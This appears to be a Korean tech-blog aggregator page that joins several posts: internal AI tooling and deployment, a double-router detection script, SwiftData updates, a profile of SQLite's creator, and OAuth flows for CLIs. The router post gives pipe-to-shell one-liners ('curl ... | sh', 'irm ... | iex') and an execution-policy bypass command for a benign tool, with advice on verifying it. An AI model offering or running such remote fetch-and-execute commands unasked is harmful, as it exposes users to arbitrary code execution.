재무 관련 데이터를 xlsx로 받고 월간 보고서를 한 디렉토리에 모읍니다. 그러면 커스텀 llm-wiki가 대용량의 xlsx를 DuckDB에 밀어 넣고 컬럼 메타데이터를 설정한 뒤, 월간 보고서는 .md로 변환해서 인덱싱합니다. 이 디렉토리를 OneDrive 공유 폴더로 만들고 담당자들이 공유받습니다. 그다음 KOCO에서 프로젝트를 만들고 “이 디렉토리를 보고 경영 정보를 알려줘”라고 지침을 넣으면 끝입니다. 최근 지표나 이슈를 물어보면 아주 정확하게 뽑아냅니다. 원래 내가 가지고 있는 파일을 기반으로 조회하는 거라 권한 이슈도 없습니다. ~~개이득~~.

그리고 여기서 가장 신경 쓴 기능 중 하나가 ‘배포’입니다. 바이브 코딩이 늘어날수록 “이거 팀에 공유하고 싶은데요”라는 요청이 점점 커져갔기 때문입니다.

배포

드디어 이번 글의 메인 주제입니다.

요구사항은 간단했습니다. ~~하지만 설정은 귀츈..~~

내부망에 배포할 것
배포 전에 보안 검토(Security Review)를 받을 것
사용자별로 인증하고, 공유 범위(전체 / 일부 사용자 / 비공개)를 설정할 수 있을 것

최종 아키텍처는 다음과 같습니다.

먼저 배포 대상이 될 사내 EKS(Kubernetes) 환경을 구축했습니다. 배포 파이프라인은 별도 솔루션을 도입하지 않고 GitLab CI/CD를 그대로 썼습니다.

사용자가 “배포해줘~”라고 하면, 현재 로그인한 사용자 아이디로 GitLab에 연동 로그인하고 랜덤한 이름의 프로젝트를 생성한 뒤 파일을 전부 올립니다. 그러면 자동으로 빌드되고 배포까지 이어집니다.

앱을 만들고 배포 요청을 합니다.

데이터베이스는 기본 SQLite이고 /data 폴더를 persistence volume으로 설정했습니다.

보안 검토도 여기에 얹었습니다. CI/CD 파이프라인 중간에 보안 스캔 단계를 넣었고, 검토가 완료되면 Slack으로 알람이 옵니다. 실제 배포는 담당자가 한 번 더 확인하고 승인합니다. ~~완전 자동은 아직 좀 불안; ㅎ~~

내부망 배포까지는 잘 됐는데, 마지막 퍼즐은 인증이었습니다. 전체 공개가 아니라 비공개로, 혹은 특정 사람에게만 공유하는 권한 제어 기능이 필요했습니다.

수많은 앱들마다 일일이 인증 코드를 넣으라고 가이드를 만들까 하다가 Cloudflare Access를 소개받았습니다. “오! 프록시처럼 동작하니까 모든 트래픽이 무조건 저길 거치게 하면 되는구나.”

그래서 ‘Purple Access’라는 자체 프록시 레이어를 만들었습니다. 이제 EKS의 Ingress ALB는 Pod을 직접 바라보지 않고 Purple Access를 바라봅니다. 인증이 안 되어 있으면 로그인 창을 띄우고, 로그인하면 접근하려는 앱에 대한 권한이 있는지 체크합니다. 있으면 통과, 없으면 block. 모든 접근은 감사 로그로 남습니다.

예전 같으면 이런 리버스 프록시 엔진을 직접 만든다는 건 꽤 골치 아픈 일이었겠지만, 이 또한 AI의 도움으로 며칠 만에 간단히 해결했습니다.

이렇게 배포 기능이 완성되었습니다. 바이브 코딩을 하고, 공개 범위를 정하고, “배포해줘~”라고 하면 보안 점검 후 내부망에 배포되고 사내에 공유됩니다.

앞으로

처음에는 AI가 개발을 더 빠르게 해주는 도구라고 생각했습니다. 하지만 지난 1년 동안 가장 크게 바뀐 것은 개발 속도가 아니었습니다.

문제를 정의하는 방식이 바뀌었고, 지식을 남기는 방식이 바뀌었으며, 함께 일하는 방식이 바뀌었습니다.

특히 가장 크게 느낀 것은 맥락(Context) 의 중요성입니다. AI는 생각보다 코드를 잘 작성하고 문서를 잘 정리합니다. 하지만 왜 이런 기능이 만들어졌는지, 어떤 배경에서 의사결정을 했는지, 앞으로 어떤 방향으로 발전해야 하는지는 결국 조직이 남긴 맥락에서만 찾을 수 있었습니다.

그래서 우리는 다음 단계들을 준비 중입니다. 없는 데이터는 모으고, 모으는 맥락은 더 정확하게 만들고, 서로 연결하는 것.

데이터 맵을 만들어 가시성을 높인다. 연계는 데이터가 중요한 것부터 우선순위대로.
비정형 데이터가 이메일과 로컬 PC에서 죽지 않도록, 업무의 input/output이 자연스럽게 마크다운 형태로 쌓이도록 프로세스를 리팩토링한다.
부족한 맥락은 업무 흐름을 개선하거나 신규 시스템을 구축한다.

기존 시스템을 살짝 개선 = 전자결재 AI 스크리닝 및 검수/제안 단계만 보완해도 의미있는 맥락을 데이터로 모을 수 있다고 생각합니다.

AI는 앞으로도 계속 발전할 것입니다. 하지만 그 AI를 얼마나 잘 활용할 수 있는지는 결국 조직이 얼마나 자신의 지식과 맥락을 축적하고 연결할 수 있는지에 달려 있다고 생각합니다.

지난 1년 동안 우리가 만든 것은 여러 개의 AI 도구와 하나의 배포 시스템이었습니다. 하지만 그 과정에서 정말 바뀐 것은 도구가 아니라 일하는 방식이었습니다.

이제 우리는 사람이 모든 일을 직접 처리하는 조직이 아니라, 사람이 남긴 맥락 위에서 AI가 함께 일하는 조직을 만들고 있습니다. 아직 완성된 답은 없지만, 방향은 분명합니다.

다음 글에서는 이 여정이 다양한 산업군에서 어떤 모습으로 이어지고 있는지 이야기해 보겠습니다.

이중 공유기 확인, 스크립트 한 줄로 끝내기

2026-07-14T22:05:10+09:00

포트 포워딩이 안 될 때, 이중 공유기 여부를 명령 한 줄로 확인하는 스크립트를 만들었습니다.

공유기에서 포트 포워딩을 분명히 설정했는데도 외부에서 서버 접근이 안 되는 경우, 경험상 가장 흔한 원인은 공유기 앞에 또 다른 공유기가 있는 이중 공유기 환경입니다. 예전에 이중 공유기 및 공유기 MAC 주소 확인하기라는 글에서 tracert와 arp 명령으로 직접 확인하는 방법을 소개했는데, 막상 다른 사람의 문제를 봐줄 때마다 명령을 하나씩 불러주고 결과 해석까지 해줘야 하는 것이 번거로웠습니다. 그래서 이 과정을 통째로 자동화한 스크립트를 만들어 GitHub에 올렸습니다.

스크립트가 하는 일

동작은 원래 글의 방법 그대로입니다. KT DNS(168.126.63.1)까지 경로를 추적해서 사설 IP 대역(192.168.0.0/16, 172.16.0.0/12)에 속하는 홉의 개수를 세고, 2개 이상이면 이중 공유기로 판정합니다. 10.x 대역도 사설 IP이지만 보통 통신사 내부망이므로 판정에서 제외합니다. 여기에 공유기의 MAC 주소를 ARP 테이블에서 찾아 테이블에 함께 보여주고, 결과를 다음과 같이 요약해 줍니다.

== Tracing route to 168.126.63.1 (max 5 hops)... ==

+-----+-----------------+-------------------+--------------------+
| Hop | IP Address      | MAC Address       | Type               |
+-----+-----------------+-------------------+--------------------+
|   1 | 192.168.123.1   | 18:c5:aa:bb:23:41 | Router 1 (private) |
|   2 | 192.168.219.1   | -                 | Router 2 (private) |
|   3 | 1.213.4.5       | -                 | Public             |
|   4 | 168.126.63.1    | -                 | Public             |
+-----+-----------------+-------------------+--------------------+

== 요약 ==
이중 공유기 환경입니다! (공유기 2개 감지)
  - 1차 공유기: 192.168.123.1 (MAC 18:c5:aa:bb:23:41)
  - 2차 공유기: 192.168.219.1
포트 포워딩은 모든 공유기에서 각각 설정해야 합니다.

위와 같은 결과라면 네트워크 구조는 이렇습니다. 외부에서 내 컴퓨터까지 도달하려면 두 공유기 모두에서 포워딩이 필요합니다.

graph LR
    PC[내 컴퓨터] --> R1[1차 공유기<br/>192.168.123.1]
    R1 --> R2[2차 공유기<br/>192.168.219.1]
    R2 --> NET[인터넷]

사용 방법

배포 형태를 고민하다가 결국 셸 스크립트와 PowerShell 스크립트 두 벌로 정했습니다.

방식	문제점
바이너리	SmartScreen, Gatekeeper가 서명 없는 실행 파일에 경고
sh 단일 배포	Windows에서 Git Bash나 WSL 없이는 실행 불가
sh + ps1	없음 — 텍스트라 경고 없고, 붙여넣기만으로 실행 가능

실행은 각 OS의 터미널에 한 줄 붙여넣기면 됩니다. 파일을 디스크에 저장하지 않으므로 다운로드 경고나 실행 정책 문제도 없습니다.

macOS / Linux (터미널):

curl -fsSL https://raw.githubusercontent.com/daeho-ro/router-check/main/check-router.sh | sh

macOS에서는 Spotlight(⌘+Space)에서 터미널을 검색해 열고 위 명령을 붙여넣으면 됩니다.

Windows (PowerShell):

irm https://raw.githubusercontent.com/daeho-ro/router-check/main/check-router.ps1 | iex

PowerShell이 처음이라면, 시작 버튼을 우클릭해서 터미널 또는 Windows PowerShell을 선택하거나, 검색창에 powershell을 입력해 실행하면 됩니다. 파란색(또는 검은색) 창이 열리면 위 명령을 붙여넣고 Enter를 누르세요. 관리자 권한은 필요 없고, cmd(명령 프롬프트)에서는 동작하지 않으니 반드시 PowerShell에서 실행해야 합니다.

스크립트의 한계

몇 가지 알아두시면 좋은 한계가 있습니다. 먼저 MAC 주소는 1차 공유기만 확인됩니다. 2차 공유기는 내 컴퓨터와 다른 서브넷에 있어 ARP 테이블에 존재하지 않기 때문에, 필요하다면 기기를 직접 찾아 라벨을 확인해야 합니다. 또한 감지는 경로 추적에 응답한 장비를 기준으로 하므로, 2차 공유기가 traceroute에 응답하지 않는 기종이라면 실제로는 이중 공유기인데 단일로 표시될 수 있습니다. 1차 공유기는 라우팅 테이블에서 직접 가져오기 때문에 이 문제가 없지만, 2차는 방법이 없습니다. 결과가 단일 공유기인데도 포워딩이 계속 안 된다면 통신사 장비가 공유기(라우터) 모드로 동작 중은 아닌지 의심해 볼 필요가 있습니다.

이 밖에 드물게 가정용 공유기가 10.x 대역을 사용하도록 설정된 경우에는 통신사 내부망과 구분할 수 없어 감지되지 않고, VPN이 켜져 있으면 트래픽이 VPN 터널로 흐르면서 경로가 왜곡되므로 VPN을 끄고 실행하셔야 정확한 결과가 나옵니다.

이 스크립트, 믿고 실행해도 되나요

인터넷에서 복사한 명령을 셸에 그대로 붙여넣는 것은 원래 조심해야 하는 일입니다. 그래서 직접 검증할 수 있는 방법을 안내해 드립니다.

가장 확실한 방법은 실행 전에 소스를 직접 읽어보는 것입니다. 두 스크립트 모두 100줄 남짓의 평문 텍스트라 위의 raw URL을 브라우저에서 열면 전체 내용을 볼 수 있고, GitHub 저장소에서 변경 이력까지 확인할 수 있습니다. 읽어보시면 스크립트가 사용하는 명령은 traceroute(tracert), arp, 라우팅 테이블 조회가 전부라는 것을 알 수 있습니다. 모두 조회 전용 명령이라 시스템 설정을 바꾸거나 파일을 쓰지 않고, 관리자 권한도 요구하지 않으며, 네트워크로 나가는 패킷은 KT DNS를 향한 경로 추적 프로브뿐입니다. 수집한 결과를 어딘가로 전송하는 코드도 없습니다.

한 가지 오해를 살 만한 부분은 PowerShell 스크립트 안의 Base64 문자열입니다. Base64 인코딩은 악성 코드가 내용을 숨길 때 자주 쓰는 수법이라 의심스러워 보일 수 있는데, 이 스크립트에서는 화면에 출력할 한글 문구를 담는 용도로만 사용합니다. Windows PowerShell 5.1의 파일 인코딩 문제를 피하기 위해 파일을 순수 ASCII로 유지하려는 선택이었고, 각 문자열 옆에 영어 주석으로 내용을 병기해 두었습니다. 의심스러우면 아무 문자열이나 직접 풀어볼 수도 있습니다.

[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('64uo7J28IOqzteycoOq4sCDtmZjqsr3snoXri4jri6Qu'))
# 단일 공유기 환경입니다.

그래도 파이프 실행이 꺼려진다면 파일로 내려받아 내용을 확인한 뒤 실행하는 방법도 있습니다.

irm https://raw.githubusercontent.com/daeho-ro/router-check/main/check-router.ps1 -OutFile check-router.ps1
notepad .\check-router.ps1   # 내용 확인
powershell -ExecutionPolicy Bypass -File .\check-router.ps1

코드는 daeho-ro/router-check에 있습니다. 포트 포워딩이 말을 안 들을 때 확인 명령 한 줄부터 실행해 보시면, 적어도 어느 공유기를 붙잡고 씨름해야 하는지는 바로 알 수 있을 겁니다.

What's new in SwiftData (feat. WWDC 2026)

2026-07-12T18:36:37+09:00

안녕하세요. 그린입니다

이번 포스팅에서는 WWDC 2026에서 나온 SwiftData 부분에서 업데이트 사항들에 대해 살펴보고 정리해보겠습니다

Sectioning your fetches

먼저 SwiftData에서 섹션별로 데이터를 가져오는 방법을 보겠습니다.

이제는 이렇게 쿼리에서 옵션을 주어 그룹별로 묶을 수 있어요.

각 섹션에선 ID 속성이 있고 이걸 활용하게 됩니다.

Using custom types

모델에 커스텀 타입을 저장하는 기능 향상을 살펴볼께요.

SwiftData는 로드될 때 모델에 대한 스키마를 자동으로 생성합니다.

스키마는 모델 클래스와 엔티티간 매핑을 정의하죠.

대부분의 타입에선 이게 자동으로 작동해요.

그렇지만 모델 매크로로 어노테이션 되지 않은 클래스는 자동으로 검사할 수 없기에 SwiftData는 스키마 생성에 실패합니다

만약 그렇다고 구현체에 접근할 수 없을 수 있잖아요?

그런 경우 이렇게 어트리뷰트 codable을 사용하여 주면 해결됩니다.

이 속성은 SwiftData에 타입의 인코딩된 표현을 저장하도록 알려주는 역할을 합니다.

타입에 대한 스키마를 추론하는 대신에요.

다만 염두해둬야할게 있는데, codable 속성의 내용은 SwiftData에 불투명합니다.

이는 Predicate에서 결과를 필터링하는데 사용할 수 없음을 나타내요.

또는 정렬도 사용할 수 없어요.

또한 codable 형태가 변경되면 속성을 추가하거나 제거하는 경우 마이그레이션이 트리거되지 않아요.

이 점을 주의해야 합니다!

Codable 속성 사용은 SwiftData가 기본적으로 지원하지 않는 타입을 저장하는 탈출구라고 생각하면 좋습니다.

직접 정의했다면 왠만해선 Codable 사용을 금해야 합니다.

Observing data stores

스토어를 모니터링하고 데이터 변경 시 알림 받는 방법을 살펴볼께요.

SwiftUI에서는 이렇게 데이터가 변경되면 뷰가 쿼리의 새로운 결과를 반영해 다시 렌더링합니다.

만약 SwiftUI가 아닌 부분은 어떨까요?

이걸 위해 이번 2027 릴리즈에선 ResultsObserver를 도입했습니다.

SwiftUI 쿼리처럼 데이터 가져오고 관찰하고 반영시키는 Swift Observation을 사용해요.

이런식으로 사용될 수 있습니다.

withContinuousObservation은 ObservationTracking 토큰을 반환합니다.

이 토큰이 관찰의 수명을 정의하죠.

여기서 더 나아가 이번 업데이트에서는 히스토리 관찰도 지원해줍니다.

데이터 스토어가 저장될 때마다 SwiftData는 히스토리 트랜잭션을 기록합니다.

여기에는 변경된 내용에 대한 정보가 포함됩니다.

그리고 변경이 어디서 왔는지 조차도 포함되죠.

히스토리에서 트랜잭션을 고유하게 식별하는 토큰도 있습니다.

ModelContext.fetchHistory() 이 API와 토큰을 함께 사용할 수 있어요.

HistoryObserver는 스토어의 변경 사항에 쉽게 반응할 수 있게 해줍니다.

지속적 히스토리 관찰과 새로운 트랜잭션 추가 시 코드가 반응하도록 해주죠.

특정 종류의 변경만 관찰하고 대응하고 싶다면 물론 HistoryObserver를 사용해 모델 타입과 트랜잭션 작성자로 필터링할 수 있어요.

외부 서버와 같은 다른 시스템과 연동 시 효과적이죠.

외부와 연동하는 예시를 볼까요?

이렇게 간단히 코드로 나타내서 사용할 수 있습니다.

References

SwiftData의 새로운 기능 - WWDC26 - 비디오 - Apple Developer

SwiftData의 최신 개선 사항을 확인하세요. Codable을 사용하여 맞춤형 및 타사 유형을 유지하는 방법과 가져온 데이터를 SwiftUI 앱의 섹션으로 그룹화하는 방법을 안내합니다. 또한 ModelResultsObserver와

developer.apple.com

브라우저의 메인 스레드는 비싸다

2026-07-12T09:00:00+09:00

프론트엔드 최적화라고 하면 무엇이 떠오르는가? 대체로 네트워크 요청을 줄이거나 번들 크기를 줄이고 캐시를 잘 쓰는 일을 떠올린다. 그 외에는 리렌더링 줄이기나 리소스를 불러오는 타이밍쯤이 떠오를 것이다. 보통 메인 스레드를 떠올리기는 쉽지 않은데…

수십억대의 장비에서 동작하는 DBMS엔진의 개발자, 리처드 힙(Richard Hipp)

2026-07-13T00:00:00+09:00

힙은 조지아 공대(조지아테크)에서 전기공학을 전공하고, 듀크대학에서 음성 자연어 대화 처리 시스템에 대한 연구를 수행한 후 전산학 박사 학위를 받습니다. 이후 AT&T 벨 연구소에서 스태프 엔지니어로 C/Unix 프로그래밍 관련 업무를 담당했으며, 이후 DARPA 및 제너럴 다이나믹스사 등 회사 고객에 맞춤화된 솔루션은 전문적으로 제공하는 Hipp, Wyrick & Company, Inc(줄여서 Hwaci라 쓰고, 와치라 읽습니다)를 설립합니다.

HWACI사는 2000년 봄 미 해군의 유도미사일 구축함 프로그램용 소프트웨어 개발 계약을 따냅니다. 이런 종류의 프로젝트에서는 데이터를 처리하기 위해 데이터베이스 시스템이 필요합니다. 기존에는 인포믹스와 같은 RDBMS를 따로 구축하여 사용했는데, 해군 함정에서 사용하기는 너무 번거로웠죠. 그래서 미 해군은 관리부담을 최소화시킨, 별도의 설정 작업 없이 배포할 수 있으면서도 안정적인 성능을 제공하는 내장가능한 SQL 데이터베이스 엔진을 요구합니다. 힙은 이 과제를 수행하기 위해 공개 도메인 데이터베이스를 개발하는데, 이것이 바로 SQLite의 시작입니다.

원래 미 해군이 개발하던 소프트웨어는 DDG-79 오스카 오스틴 전함에 탑재될 예정이었습니다. 이런 전함은 매우 크고 복잡한 시스템이빈다. 따라서 각 부품의 연결 정보 등을 기반으로 바뀌는 환경에 대해 바로 대응할 수 있는 제어/판단 시스템이 필요합니다. 그런 시스템의 기반에는 전함의 배관 정보 및 밸브 정보 등이 저장되어야 합니다. 그렇다고 전함에 DBMS를 설치하면 프로그램을 사용할 사용자 말고 DBA도 탑승해야 합니다. 그렇지 않으면 프로그램을 실행했는데 "데이터베이스에 연결할 수 없습니다"라는 경고창이 표시될 테니깐요. 이 문제를 해결하기 위해 리처드 힙이 뛰어듭니다.

미 해군의 요구사항은 SQLite의 핵심 기능이 됩니다. 서버리스 방식으로 작동하므로 별도의 서버 프로세스를 실행하지 않고 애플리케이션에 라이브러리 형태로 내장됩니다. 설정 파일도 지원되지만, 별도의 설정을 하지 않아도 내장하면 바로 사용할 수 있습니다. 데이터베이스 기능을 제공하지만 라이브러리의 크기는 900KB 보다 작은 크기로, 소형 단말에서도 자유롭게 사용할 수 있습니다. 그 덕분에 SQLite는 iOS/AOS 스마트폰, 웹 브라우저, 자동차, 의료기기 등 수많은 애플리케이션에 내장되어 역사상 가장 많이 배포된 데이터베이스 엔진으로 자리잡게 됩니다.

SQLite로 알려진 힙이지만, 여러 다양한 소프트웨어 프로젝트도 진행합니다. 그중에서 Fossile SCM은 git과 유사한 분산 버전 관리 시스템 소프트웨어입니다. SQLite 개발도 Fossil 기반으로 진행됩니다. 또한 Tcl 스크립트 언어의 발전을 위해 주요 확장 기능과 도구를 개발해 오고 있습니다. 트리 위젯, 노트북 위젯, HTML 위젯 등 다양한 Tcl/Tk 모듈을 개발해 왔습니다. (TCL의 아버지 존 아우스트하우트 이야기도 읽어보세요.)

복잡함은 당신의 적입니다. 최대한 단순하게 유지하세요
처음 떠오르는 해결책을 바로 사용하지 마십시오, 문제를 좀 더 생각해 보면 더 나은 접근 방법을 찾을 수 있는 경우가 많습니다.
코드, 특히 데이터 구조와 변수 정의에 대해 꼼꼼히 주석을 다세요. 다른 사람이 읽고 이해하여 유지 관리할 수 있는 코드를 작성하세요. 내용을 명확히 설명하세요.
테스트를 고려하여 설계하세요. 작동하는 소프트웨어를 작성하는 것만으로는 충분하지 않습니다. 검증이 쉽고, 작동 여부를 금방 테스트할 수 있는 소프트웨어를 작성해야 합니다.
(좋은 소프트웨어 설계 원칙에 대한 질문에 대한 답변)

인공지능은 분명 유용합니다. 앞으로 인공지능의 새로운 활용법이 발견될 것이고, AI기술은 귀중한 시간 절약 도구가 될 것이라고 확신합니다. 하지만 인공지능이 세상을 완전히 장악할 것이라는 종말론적 예측에는 회의적입니다.

문제를 만드는 것보다 더 많은 문제를 해결하세요.
할 수 있는 한 많은 문제를 해결하세요. 작은 일부터 시작하세요. 침대를 정리하고, 쓰레기를 주워 쓰레통에 버리고, 가게 계산원에게 친절하게 대하세요. 이런 작은 일들은 더 큰 문제를 해결하는 데 좋은 연습이 됩니다. 작은 일들에 익숙해지면 더 큰 문제에 도전해 보세요. 가족과 친구를 돕고, 고객을 돕고, 지역 사회에 기여하세요. 문제를 일으키는 것보다 더 많이 해결할 수 있다면, 직업, 친구, 사랑, 행복이 부족할 일은 없을 것입니다.

진정으로 자유롭고 싶다면 스스로 행동해야 한다는 뜻입니다.

풀 리퀘스트(PR)는 공짜가 아닙니다. 사실상 제게 요구를 하고 있는 겁니다. 이렇게 멋진 기능을 내가 개발했으니, 당신이 그걸 유지보수하고 문서도 작성하고 테스트하면서 계속 유지보수해 주길 바라는 겁니다.
리누스가 한 명언이 있습니다. Free라는 단어는 무료 맥주를 의미하거나 표현의 자유를 의미할 수 있습니다. 하지만 또다른 Free가 있습니다. '내가 공짜 강아지를 한마리 입양해 줄게"
풀 리퀘스트는 누군가가 당신에게 강아지 한마리를 입양해 주는 것과 같습니다. 당신은 그 강아지를 버릴 수도 없습니다. 도덕적인 책임감 때문에 강아지가 죽을 때까지 돌봐야 합니다.
나는 그런 공짜 강아지를 원하지 않습니다.

당시 전문가들에게 물어보면 "불가능해. 절대 안 될 거야. 말도 안 되는 생각이야."라고 했을 겁니다. 다행히 저는 그런 전문가들을 알지 못했고, 그래서 그냥 해냈습니다. 이런 일도 종종 일어나는 거죠. 제 생각에는 전문가들의 말에 너무 귀 기울이지 말고, 스스로 이치에 맞는 일을 하는 게 중요한 것 같습니다. 문제를 해결하세요.

Home Page for D. Richard Hipp

www.hwaci.com

The Untold Story of SQLite

On today's show, I'm talking to Richard Hipp about surviving becoming core infrastructure for the world. SQLite is everywhere. It's in your web browser, it's in your phone, it's probably in your car, and it's definitely in commercial planes. It's where you

corecursive.com

Entrevista a Richard Hipp

Creador de SQLite

camilocs.substack.com

Cloudflare Tunnel 다운로드 속도 100배 높이기 (QUIC → HTTP/2)

2026-07-09T22:40:00+09:00

[Server] CLI를 위한 2가지 인증 방식, Authorization Code Flow와 Device Authorization Flow

2026-07-14T10:00:21+09:00

1. CLI를 위한 2가지 인증 방식, Authorization Code Flow와 Device Authorization Flow

[ Authorization Code Flow와 PKCE이란? ]

PKCE(Proof Key for Code Exchange, "픽시")는 OAuth 2.0의 인증 코드 가로채기 공격을 막기 위한 보안 확장이다. 기존의 OAuth 2.0의 인증 코드 플로우(Authorization Code Flow)에서는 인증 서버가 리디렉션을 통해 인증 코드를 클라이언트에 돌려주면, 클라이언트가 그 코드를 활용해 액세스 토큰으로 교환한다.

이를 위해 사용자는 인증 코드를 돌려받을 본인 서버의 리디렉션 전용 URI를 인증 서버에 사전에 등록을 해두어야 한다. 그러면 인증 서버는 인증 코드를 쿼리 파라미터에 실려 돌려주고, 클라이언트는 이에 접속해 코드를 획득하게 된다.

https://mangkyu.com/callback?code=AUTH_CODE_HERE&state=xyz

전반적인 Authorization Code Flow를 살펴보면 다음과 같다.

sequenceDiagram
    autonumber
    participant C as Client
    participant B as Browser
    participant A as Auth Server

    C->>B: 브라우저로 인증 요청 시작
    B->>A: 인증 요청 전달
    A-->>B: 로그인 페이지 제공
    B->>A: 사용자 로그인 및 동의
    A-->>B: 리디렉션을 통해 Authorization Code 반환
    B-->>C: Authorization Code 전달
    C->>A: Authorization Code로 Access Token 교환 요청
    A-->>C: Access Token 반환

하지만 바로 이 과정에서 문제가 생길 수 있다. 바로 악의적인 방법으로 인증 코드가 탈취당하는 것이다. 특히 스마트폰과 같은 기기에서는 다른 애플리케이션이 동일한 리디렉션 URI를 등록하고 인증 코드를 가로챌 수 있다. 그러면 권한이 없는 리소스에 대한 액세스 토큰이 발급되어 접근이 가능해진다. 따라서 이를 방지하려면, 처음 인증을 시작한 앱이 인증 코드를 잘 전달받아 액세스 토큰을 교환하는 주체인지 확인해야 한다. 이를 위해 “일회성 인증” 개념을 기반으로 하는 PKCE가 활용된다.

PKCE를 위해서는 크게 2가지 검증값이 사용된다.

code_verifier: 클라이언트가 매 요청마다 생성하여 활용하는 랜덤한 문자열
code_challenge: verifier를 특정 알고리즘으로 해싱하고 base64url 인코딩한 값

클라이언트는 인증을 시작하기 전에, 무작위 검증 코드인 code_verifier를 생성하여 로컬에 저장한다. 그리고 인증 서버를 통해 인증을 시작할 때, code_verifier를 code_challenge 값으로 변환하고, 변환한 방식(code_challenge_method, 보통 SHA256)과 code_challenge를 함께 보내면, 인증 서버는 이 값을 저장해둔다.

그리고 나중에 인증 코드를 액세스 토큰으로 교환할 때 원본 code_verifier를 함께 보낸다. 그러면 인증 서버에서 이전에 전달받은 code_challenge_method로 code_verifier를 code_challenge 값으로 변환하고, 이전에 전달받은 code_challenge 값과 일치하는지 비교한다. 그래서 맞으면 토큰을 발급하고, 틀리면 거부하는 것이다.

sequenceDiagram
    autonumber
    participant C as Client
    participant B as Browser
    participant A as Auth Server

    C->>C: code_verifier, code_challenge 생성
    C->>B: 브라우저로 인증 요청 시작<br/>(with code_challenge, code_challenge_method)
    B->>A: 인증 요청 전달
    A->>A: code_challenge 저장
    A-->>B: 로그인 페이지 제공
    B->>A: 사용자 로그인 및 동의
    A-->>B: 리디렉션을 통해 Authorization Code 반환
    B-->>C: Authorization Code 전달
    C->>A: Access Token 교환 요청<br/>(with Authorization Code, code_verifier)
    A->>A: code_verifier로 code_challenge 생성 후 저장값과 비교 검증
    A-->>C: 검증 성공 시 Access Token 반환

[ CLI와 Authorization Code Flow 방식 ]

문제는 Authorization Code Flow(+PKCE)가, 스마트 티비나 CLI와 같은 브라우저가 존재하지 않는 환경에서 활용이 어렵다는 것이다. 근본적으로 Authorization Code Flow는 인증 서버가 리디렉션 URI로 코드를 돌려주는 걸 전제로 한다. CLI가 인증을 요청할 때 인증 코드를 돌려받을 리디렉션 URI를 함께 지정하는데, 인증 서버가 그 URI로 코드를 보내주려 해도 CLI에는 그걸 받을 서버가 없다는 것이다.

따라서 CLI에서는 인증 코드를 돌려받기 위한 임시 HTTP 서버를 띄우고, 리디렉션 URI를 자기 루프백 주소(http://127.0.0.1)로 지정한다. 그리고 인증 코드 발급을 위해 CLI에 노출된 URL을 브라우저에서 로그인 후 이 주소로 리디렉션하면, 로컬에서 대기 중이던 CLI가 코드를 받아낸다.

sequenceDiagram
    autonumber
    participant C as CLI
    participant B as Browser
    participant A as Auth Server

    C->>C: 로컬 루프백 서버 기동 (예: 127.0.0.1:52741)
    C->>B: 브라우저 실행 + 인증 요청 <br/>redirect_uri=http://127.0.0.1:52741/callback
    B->>A: 인증 요청 전달 (redirect_uri 포함)
    A->>A: 등록된 redirect_uri와 일치 검증
    A-->>B: 로그인 후 redirect_uri로 리디렉션<br/>?code=AUTH_CODE&state=xyz
    B-->>C: 루프백 주소로 코드 전달
    C->>C: state 검증 후 code 추출
    C->>A: Authorization Code로 Access Token 교환
    A-->>C: Access Token 반환

하지만 억지로 HTTP 서버를 띄우다 보니, 여러 가지 부가적인 문제들이 생길 수 있다.

루프백 서버를 위한 포트 문제
- 서버의 포트를 위해 고정 포트를 사용할 경우, 다른 프로세스가 사용중일 때 충돌이 생김
- 동적 포트(비어 있는 포트를 골라 씀)로 하면, 인증 서버에 리디렉션 URI를 미리 등록해둘 때 포트를 특정할 수 없어 와일드카드 허용이 필요함
브라우저 실행 환경 문제
- CLI가 로그인 페이지를 열려면 브라우저를 띄워야 함
- 로컬 데스크톱이면 open/xdg-open/start로 열면 되는데 원격 SSH 세션, 헤드리스 서버, 컨테이너 안에서는 브라우저가 아예 없어 로그인이 불가능함
클라이언트 시크릿 문제
- CLI는 사용자 기기에 바이너리로 배포되는데, 여기에 클라이언트 시크릿을 심으면 누구나 추출할 수 있음
- 따라서 CLI는 시크릿을 못 쓰는 퍼블릭 클라이언트로 취급해야 하고, 코드 탈취 방어를 위해 PKCE가 필수가 됨

이러한 문제들로 인해, CLI를 위한 인증 방식으로는 Device Authorization Flow 방식이 권장된다.

[ Device Authorization Flow 방식이란? ]

Device Authorization Flow는 입력 기능이 제한된 스마트 TV 혹은 CLI와 같은 헤드리스 앱을 위해 설계된 OAuth 2.0 인증 부여 방식이다. 사용자가 이러한 디바이스에서 인증 요청을 시작하면, 스마트폰이나 노트북 등과 같은 더 많은 입력 기능을 가진 디바이스에서 프로세스를 완료할 수 있다. 예를 들어 우리가 스마트 TV에서 넷플릭스를 보기 위해 로그인을 할 때, 코드를 입력하는 방식이 바로 Device Authorization Flow라고 볼 수 있다.

Device Authorization Flow 인증 방식을 위해서는 크게 2가지 코드(Device Code, User Code) 개념이 등장한다.

User Code (사용자 코드)
- 사람이 읽고 입력하는 코드로, 이를 기반으로 로그인을 시도하는 당사자가 맞는지를 확인함
- 8자 내외, 대문자, 하이픈으로 구분되어 짧고 타이핑하기 쉽게 만들어짐 ex) WDJB-MJHT
- 인증 서버는 짧은 만료 시간과 시도 횟수 제한으로 무차별 대입을 막음
Device Code (디바이스 코드)
- CLI나 스마트 TV 등의 기기가 쓰는 코드로, 사람은 볼 일도, 입력할 일도 없음
- 로그인을 시도하는 기계를 식별하기 위해 사용됨
- 사람이 타이핑하지 않으니 길고 복잡해도 되어 긴 문자열이 사용됨

전반적인 인증 흐름 과정을 살펴보면 다음과 같다.

sequenceDiagram
    autonumber
    participant U as User at browser
    participant D as CLI
    participant A as Auth Server

    D->>A: Client ID로 인증 요청
    A-->>D: Device Code, User Code, 인증 URI를 제공함
    D->>U: 사용자에게 인증 URI를 열고 User Code를 입력하도록 지시함
    D->>A: Device Code와 Client ID로 Access Token 폴링 시작
    U->>A: 인증 URI 접속 및 User Code 입력
    A-->>U: 사용자를 로그인 페이지로 리디렉션
    U->>A: 로그인 플로우 완료 및 로그인
    A-->>U: 사용자를 로그인 성공 페이지로 리디렉션하고 브라우저를 닫도록 지시
    A-->>D: 폴링 결과로 Access Token을 반환받음

Device Authorization Flow 인증 방식을 사용하면, CLI 환경에서 Authorization Code Flow 인증 방식을 사용할 때 생겼던 여러 가지 문제로부터 자유로워질 수 있다. 토큰을 요청하는 CLI와 사용자가 인증하는 브라우저 장치를 분리해, 포트 바인딩이나 로컬 브라우저 의존이 없다. 또한 노트북이나 컨테이너, CI 등 어디서나 동일하게 작동할 수 있다.

참고 자료